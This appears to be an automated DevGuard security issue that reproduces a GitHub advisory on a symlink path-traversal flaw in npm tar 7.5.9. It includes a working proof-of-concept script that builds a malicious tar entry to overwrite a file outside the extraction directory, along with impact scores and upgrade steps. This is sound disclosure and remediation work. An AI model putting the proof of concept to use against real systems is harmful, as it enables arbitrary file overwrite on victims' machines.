You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.
Details
The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.
What happens with linkpath: "C:../../../target.txt":
stripAbsolutePath() removes C: and rewrites the value to ../../../target.txt.
The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
Symlink creation uses the rewritten value (../../../target.txt) from nested path a/b/l.
Writing through the extracted symlink overwrites the outside file (../target.txt).
This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.
PoC
Tested on Arch Linux with tar@7.5.10.
PoC script (poc.cjs):
constfs=require('fs')constpath=require('path')const{ Header, x }=require('tar')constcwd=process.cwd()consttarget=path.resolve(cwd,'..','target.txt')consttarFile=path.join(cwd,'poc.tar')fs.writeFileSync(target,'ORIGINAL\n')constb=Buffer.alloc(1536)newHeader({path: 'a/b/l',type: 'SymbolicLink',linkpath: 'C:../../../target.txt',}).encode(b,0)fs.writeFileSync(tarFile,b)x({ cwd,file: tarFile}).then(()=>{fs.writeFileSync(path.join(cwd,'a/b/l'),'PWNED\n')process.stdout.write(fs.readFileSync(target,'utf8'))})
Run:
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
Observed output:
PWNED
../../../target.txt
lrwxrwxrwx - joshuavr 7 Mar 18:37 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr 7 Mar 18:37 ../target.txt
PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.
Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios:
CLI tools unpacking untrusted tarballs into a working directory
The vulnerability is in pkg:npm/tar@7.5.9, found in artifacts pkg:oci/devguard-documentation?repository_url=ghcr.io/l3montree-dev/devguard-documentation&arch=amd64&tag=main-amd64, pkg:oci/l3montree-cybersecurity/devguard/devguard-documentation.
Recommended fix
Upgrade to version 7.5.11 or later.
# Update all vulnerable npm packages
npm audit fix
# Update only this package
npm install tar@7.5.11
Additional guidance for mitigating vulnerabilities
The vulnerability is in a direct dependency of your project.
EPSS
0.25 %
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
EXPLOIT
Not available
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database. There are no script kiddies exploiting this vulnerability.
CVSS-BE
7.1
CVSS-B
8.2
- The vulnerability requires local access to the device to be exploited. - It is easy for an attacker to exploit this vulnerability. - An attacker does not need any special privileges or access rights. - No user interaction is needed for the attacker to exploit this vulnerability.
GHSA-9ppj-qmqm-q256 found in npm/tar@7.5.9
Important
Risk:
1.95 (Low)CVSS:
8.2Description
Summary
tar(npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such asC:../../../target.txt, which enables file overwrite outsidecwdduring normaltar.x()extraction.Details
The extraction logic in
Unpack[STRIPABSOLUTEPATH]validates..segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the storedlinkpathto the stripped value.What happens with
linkpath: "C:../../../target.txt":stripAbsolutePath()removesC:and rewrites the value to../../../target.txt.../../../target.txt) from nested patha/b/l.../target.txt).This is reachable in standard usage (
tar.x({ cwd, file })) when extracting attacker-controlled tar archives.PoC
Tested on Arch Linux with
tar@7.5.10.PoC script (
poc.cjs):Run:
Observed output:
PWNEDconfirms outside file content overwrite.readlinkandls -lconfirm the extracted symlink points outside the extraction directory.Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios:
Affected component
The vulnerability is in
pkg:npm/tar@7.5.9, found in artifactspkg:oci/devguard-documentation?repository_url=ghcr.io/l3montree-dev/devguard-documentation&arch=amd64&tag=main-amd64,pkg:oci/l3montree-cybersecurity/devguard/devguard-documentation.Recommended fix
Upgrade to version 7.5.11 or later.
Additional guidance for mitigating vulnerabilities
Visit our guides on devguard.org
See more details...
Path to component
%%{init: { 'theme':'base', 'themeVariables': { 'primaryColor': '#F3F3F3', 'primaryTextColor': '#0D1117', 'primaryBorderColor': '#999999', 'lineColor': '#999999', 'secondaryColor': '#ffffff', 'tertiaryColor': '#ffffff' } }}%% flowchart TD Your_application(["Your application"]) --- pkg_npm_tar_7_5_9(["pkg:npm/tar\@7.5.9"]) classDef default stroke-width:2px10.25 %Not available7.18.2- It is easy for an attacker to exploit this vulnerability.
- An attacker does not need any special privileges or access rights.
- No user interaction is needed for the attacker to exploit this vulnerability.
More details can be found in DevGuard
Interact with this vulnerability
You can use the following slash commands to interact with this vulnerability:
👍 Reply with this to acknowledge and accept the identified risk.
🔁 Reopen the risk: Use this command to reopen a previously closed or accepted vulnerability.